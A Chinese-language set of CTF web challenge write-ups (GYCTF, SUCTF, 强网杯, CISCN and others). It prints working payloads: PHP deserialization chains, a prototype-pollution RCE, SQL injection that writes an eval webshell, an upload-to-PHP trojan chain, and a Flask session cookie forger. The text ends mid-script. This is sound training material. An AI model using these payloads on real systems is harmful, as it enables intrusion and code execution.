echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
login.php
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
以admin身份登陆就给flag
passwd等于md5加密后的值,token=admin
sql查询:
怎么构造呢
入点:
既然有echo,就可以toString
将nickname = new Info,就可以调用_call()
然后 CtrlCase = new User,即可调用login()
脚本:c4ca4238a0b923820dcc509a6f75849b就是1的md5
<?php
class User
{
public $age = null;
public $nickname = null;
public function __construct()
{
$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname = new Info();
}
}
class Info
{
public $CtrlCase;
public function __construct()
{
$this->CtrlCase = new dbCtrl();
}
}
class UpdateHelper
{
public $sql;
public function __construct()
{
$this->sql = new User();
}
}
class dbCtrl
{
public $name = "admin";
public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
然后就是这个东西:
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
替换字符?字符串逃逸
这里反序列化,继续跟踪:
在这里
这里序列化,我们就是传入age和nickname参数,所以要用字符串逃逸
看看原本是怎么样的:
<?php
class Info{
public $age=1;
public $nickname=2;
public $CtrlCase=3;
}
$a=new Info();
echo (serialize($a));
O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";i:2;s:8:"CtrlCase";i:3;}
然后这里的info对应3个变量,所以我们可以这么改:
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";i:3;}
一共263个,我们就用263个union把他挤出来
O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";i:3;}
当变成hacker是,红色部分就会被挤出nickname变量的范围
因为满足3个变量,所以}}}}}后的部分自动舍弃
payload:
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
然后回到登录界面
admin + 任意密码登录:
[GYCTF2020]Ez_Express
强制大写漏洞,原型链污染
扫描www.zip
index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
action路由只能由admin来用
看看登录的逻辑:
调用了safeKeyword,对user进行转换,看看这个可不可以绕过
“ı”、“ſ” 、 “K”
所以就是admın
然后呢?就是原型链污染:
这里有个outputFunctionName
js审计如果看见merge,clone函数,可以往原型链污染靠
payload:
{“lua”:“123”,"proto":{“outputFunctionName”:“t=1;return global.process.mainModule.constructor._load(‘child_process’).execSync(‘cat /flag’).toString()//”},“Submit”:""}
这里记得改成application/json
然后就访问info得flag
[SUCTF 2018]MultiSQL
预处理注入
代码审计
先注册,
这里id可以堆叠注入, fuzz测试后发现过滤了union,select ,&,|
写入shell:
select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/1.php';
使用预处理注入
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,49,46,112,104,112,39,59)
payload:
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,49,46,112,104,112,39,59);prepare query from @sql;execute query;
[SUCTF 2018]annonymous
create_function函数名%00lambda_%d
创建一个匿名函数,并将其赋值给变量 $MY
,die在结束的同时会执行里面的内容(cat flag.php)
%00lambda_%d ,而%d则是一个 会递增,用来记录create_function()这个函数执行了多少次
可以直接func_name=%00lambda_1然后用bp爆破一直请求
因为这个服务器是一个多线程,所以%d就会从1~9不断循环,一直爆破知道刚好到1就欧克
(不过这题环境有点脆弱,搞多了直接500了)
[RootersCTF2019]babyWeb
报错注入
非预期?
1 || 1=1 limit 0,1
加个 limit 0,1限制只读取第一行
还有一种就是报错注入:
1 || (extractvalue(1,concat(0x5c,database(),0x5c)))%23
1||(extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))%23
这里虽然过滤了’,但是我们可以用禁止:
'users'
——>0x7573657273
1||(extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name=0x7573657273))))%23
加上 limit 4,1
1||(extractvalue(1,concat(0x5c,(select uniqueid from users limit 0,1))))%23
然后直接search=837461526918364526也可以出flag
[安洵杯 2019]不是文件上传
序列化protect绕过
看到这个界面感觉是sql
在github上查看源码:
<?php
// 定义一个名为 helper 的类,用于处理图片上传和相关操作
class helper {
// 定义一个受保护的属性 $folder,用于存储上传图片的文件夹路径
protected $folder = "pic/";
// 定义一个受保护的属性 $ifview,用于控制文件查看功能是否可用,初始值为 False
protected $ifview = False;
// 定义一个受保护的属性 $config,用于指定配置文件的名称
protected $config = "config.txt";
// 注释说明该类中的某些功能还不完善,尚未开放
// 定义一个公共方法 upload,用于处理图片上传操作,默认表单文件字段名为 "file"
public function upload($input="file")
{
// 调用 getfile 方法获取上传文件的相关信息
$fileinfo = $this->getfile($input);
// 初始化一个空数组 $array,用于存储文件的详细信息
$array = array();
// 将文件的标题信息存入数组
$array["title"] = $fileinfo['title'];
// 将文件名存入数组
$array["filename"] = $fileinfo['filename'];
// 将文件扩展名存入数组
$array["ext"] = $fileinfo['ext'];
// 将文件存储路径存入数组
$array["path"] = $fileinfo['path'];
// 使用 getimagesize 函数获取上传图片的尺寸信息,返回一个数组
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
// 从尺寸信息数组中提取图片的宽度和高度,存入新数组 $my_ext
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
// 使用 serialize 函数将 $my_ext 数组序列化为字符串,并将其存入 $array 数组的 "attr" 键中
$array["attr"] = serialize($my_ext);
// 调用 save 方法将文件信息保存到数据库,并获取保存后的记录 ID
$id = $this->save($array);
// 如果保存操作返回的 ID 为 0,表示保存失败,输出错误信息并终止脚本
if ($id == 0){
die("Something wrong!");
}
// 输出换行符
echo "<br>";
// 输出上传成功的提示信息,包含图片的 ID
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
// 定义一个公共方法 getfile,用于获取上传文件的相关信息
public function getfile($input)
{
// 检查 $input 是否被设置
if(isset($input)){
// 调用 check 方法对上传文件的信息进行检查,并将结果存储在 $rs 中
$rs = $this->check($_FILES[$input]);
}
// 返回检查后的文件信息
return $rs;
}
// 定义一个公共方法 check,用于检查上传文件的合法性
public function check($info)
{
// 生成一个唯一的文件名,使用当前时间和唯一 ID 进行 MD5 加密,截取中间 16 位
$basename = substr(md5(time().uniqid()),9,16);
// 获取上传文件的原始文件名
$filename = $info["name"];
// 从文件名中提取文件扩展名
$ext = substr(strrchr($filename, '.'), 1);
// 定义一个允许上传的文件扩展名数组
$cate_exts = array("jpg","gif","png","jpeg");
// 检查上传文件的扩展名是否在允许的扩展名数组中
if(!in_array($ext,$cate_exts)){
// 如果不在允许的扩展名数组中,输出错误信息并终止脚本
die("<p>Please upload the correct image file!!!</p>");
}
// 从文件名中去除扩展名,得到文件标题
$title = str_replace(".".$ext,'',$filename);
// 返回一个包含文件标题、文件名、扩展名和存储路径的数组
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
// 定义一个公共方法 save,用于将文件信息保存到数据库
public function save($data)
{
// 检查 $data 是否为空或不是数组
if(!$data || !is_array($data)){
// 如果条件满足,输出错误信息并终止脚本
die("Something wrong!");
}
// 调用 insert_array 方法将文件信息插入数据库,并获取插入记录的 ID
$id = $this->insert_array($data);
// 返回插入记录的 ID
return $id;
}
// 定义一个公共方法 insert_array,用于将数组数据插入数据库
public function insert_array($data)
{
// 连接到本地 MySQL 数据库,使用用户名 "r00t"、密码 "r00t" 和数据库名 "pic_base"
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
// 检查数据库连接是否失败
if (mysqli_connect_errno($con))
{
// 如果连接失败,输出错误信息并终止脚本
die("Connect MySQL Fail:".mysqli_connect_error());
}
// 初始化一个空数组 $sql_fields,用于存储 SQL 语句中的字段名
$sql_fields = array();
// 初始化一个空数组 $sql_val,用于存储 SQL 语句中的字段值
$sql_val = array();
// 遍历 $data 数组,将字段名和字段值分别存储到 $sql_fields 和 $sql_val 数组中
foreach($data as $key=>$value){
// 对字段名中的特殊字符进行替换
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
// 对字段值中的特殊字符进行替换
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
// 将处理后的字段名添加到 $sql_fields 数组中,并添加反引号
$sql_fields[] = "`".$key_temp."`";
// 将处理后的字段值添加到 $sql_val 数组中,并添加单引号
$sql_val[] = "'".$value_temp."'";
}
// 构建 SQL 插入语句,将字段名和字段值分别用逗号连接
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
// 执行 SQL 插入语句
mysqli_query($con, $sql);
// 获取插入记录的 ID
$id = mysqli_insert_id($con);
// 关闭数据库连接
mysqli_close($con);
// 返回插入记录的 ID
return $id;
}
// 定义一个公共方法 view_files,用于查看文件内容
public function view_files($path){
// 检查 $ifview 属性是否为 False
if ($this->ifview == False){
// 如果为 False,返回 False,表示文件查看功能不可用
return False;
// 注释说明该功能还不完善,尚未开放
}
// 使用 file_get_contents 函数读取文件内容
$content = file_get_contents($path);
// 输出文件内容
echo $content;
}
// 定义析构函数,当对象被销毁时自动调用
function __destruct(){
# 读取一些配置文件的内容
// 调用 view_files 方法读取配置文件内容
$this->view_files($this->config);
}
}
?>
这里有一个file_ge_contents函数,在_destruct中调用
这里的ifview要为true
参数是这个
反序列化:
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
然后ifview和config因为是protect,用\0\0\0来绕:
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
sql语句:
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")
然后这里attr可以序列化,然后因为文件名不能有’’,就先16进制编码:
4F3A363A2268656C706572223A323A7B733A393A225C305C305C30696676696577223B623A313B733A393A225C305C305C30636F6E666967223B733A353A222F666C6167223B7D
然后就构造
INSERT INTO images (title
,filename
,ext
,path
,attr
) VALUES()他是这样一种形式,然后我们要
让反序列化的在attr位置上,因为我们可以改变文件名控制title,所以直接截断
filename=1’,‘1’,‘1’,‘1’,0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),(‘1.jpg
INSERT INTO images (title
,filename
,ext
,path
,attr
) VALUES(‘1’,‘1’,‘1’,‘1’,0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),(‘1.jpg’,‘源filename’,‘源ext’,‘源path’,‘源attr’)
[强网杯 2019]Upload
扫描发现www.tar.gz
login.php
<?php
namespace app\web\controller;
use think\Controller;
class Login extends Controller
{
public $checker;
public function __construct()
{
$this->checker=new Index();
}
public function login(){
if($this->checker){
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if(input("?post.email") && input("?post.password")){
$email=input("post.email","","addslashes");
$password=input("post.password","","addslashes");
$user_info=db("user")->where("email",$email)->find();
if($user_info) {
if (md5($password) === $user_info['password']) {
$cookie_data=base64_encode(serialize($user_info));
cookie("user",$cookie_data,3600);
$this->success('Login successful!', url('../home'));
} else {
$this->error('Login failed!', url('../index'));
}
}else{
$this->error('email not registed!',url('../index'));
}
}else{
$this->error('email or password is null!',url('../index'));
}
}
}
这里有个序列化
register.php
<?php
namespace app\web\controller;
use think\Controller;
class Register extends Controller
{
public $checker;
public $registed;
public function __construct()
{
$this->checker=new Index();
}
public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
}
public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
有__destruct()方法,入点就是这个了
checker->index(),这个怎么利用呢?
profile
<?php
namespace app\web\controller;
use think\Controller;
class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}
public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}
public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
看到_call方法,所以checker=new Profile就可以调用_call()(没有index()这个方法)
但是$name没有这个属性,所以又会触发_get()
expect参数可控,我们将Profile的成员变量except赋值为以index为数组键,upload_img()为键值的数组
$except=['index'=>'upload_img']
接着看到这里:
这里就是会把filename_tmp的内容复制到filename,那我们就可以先filename_temp写木马,然后filename改成php后缀
抓包查看:
传马:
看路径:
/upload/e0cd7c28b74327b3bd1472378bdfbfa2/f3ccdd27d2000e3f9255a7e3e2c48800.png
<?php
namespace app\web\controller;
class Profile
{
public $checker=0;
public $filename_tmp="../upload/e0cd7c28b74327b3bd1472378bdfbfa2/f3ccdd27d2000e3f9255a7e3e2c48800.png";
public $filename="../upload/1.php";
public $ext=1;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo1OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9lMGNkN2MyOGI3NDMyN2IzYmQxNDcyMzc4YmRmYmZhMi9mM2NjZGQyN2QyMDAwZTNmOTI1NWE3ZTNlMmM0ODgwMC5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTU6Ii4uL3VwbG9hZC8xLnBocCI7czozOiJleHQiO2k6MTtzOjY6ImV4Y2VwdCI7YToxOntzOjU6ImluZGV4IjtzOjEwOiJ1cGxvYWRfaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2k6MDt9
然后我看其他师傅说该cookie直接访问,但是我试了很多次直接显示file no found 搞不懂
[CISCN2019 华东南赛区]Web4
flask-session加密/伪随机数
read?url=/etc/passwd
测试:read?url=file:///etc/passwd,没东西
/read?url=local_file:///etc/passwd
可以,所以这题就是python后端flask
/read?url=local_file:///app/app.py
看源码:
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0")
这里:
这个一眼jwt
然后
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
这里使用了伪随机数,也就是当seed确定时,接下来的随机数都是可预测的。
seed使用了uuid.getnode()
函数的值,该函数用于获取Mac地址并将其转换为整数
/read?url=local_file:///sys/class/net/eth0/address
读取mac地址: ea:62:fb:6a:25:c7
import random
random.seed(0xea62fb6a25c7)
print(str(random.random()*233))
然后这里是说出题的时候是用python2跑的,2和3小数点后面保留位数不一样
102.787116078 06235
脚本:
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
